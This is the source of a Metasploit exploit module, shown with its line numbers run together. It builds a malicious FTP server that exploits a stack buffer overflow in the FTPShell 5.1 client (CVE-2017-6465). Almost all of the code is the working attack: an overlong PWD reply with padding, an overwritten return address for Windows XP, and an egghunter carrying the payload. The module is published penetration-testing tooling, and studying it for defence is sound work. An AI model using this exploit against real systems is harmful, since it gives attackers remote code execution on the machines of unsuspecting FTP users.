Path: blob/master/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb
24104 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Exploit::Remote::FtpServer9include Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FTPShell 5.1 Stack Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets18triggered when the ftp client tries to process an overly long response to a PWD19command. This will overwrite the saved EIP and structured exception handler.20},21'Author' => [22'corelanc0d3r <peter.ve[at]corelan.be>' # found bug, wrote the exploit23],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2017-6465' ],27[ 'OSVDB', '68639'],28[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],29],30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",35},36'Platform' => 'win',37'Targets' => [38[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], # jmp ebp [setupapi.dll]]39],40'Privileged' => false,41'DisclosureDate' => '2010-10-12',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)50end5152def setup53super54end5556def on_client_unknown_command(c, cmd, arg)57c.put("200 OK\r\n")58end5960def on_client_command_pwd(c, arg)61badchars = ""62eggoptions =63{64:checksum => true,65:eggtag => "w00t"66}67hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)6869print_status(" - PWD command -> Sending payload")70junk = "A" * target['Offset']71nops = "A" * 1072tweakhunter = "\x5a\x5a"73eip = [target.ret].pack('V')74buffer = junk + eip + nops + tweakhunter + hunter + egg75pwdoutput = "257 \"/" + buffer + "\" is current directory\r\n"76c.put(pwdoutput)77print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")78return79end80end818283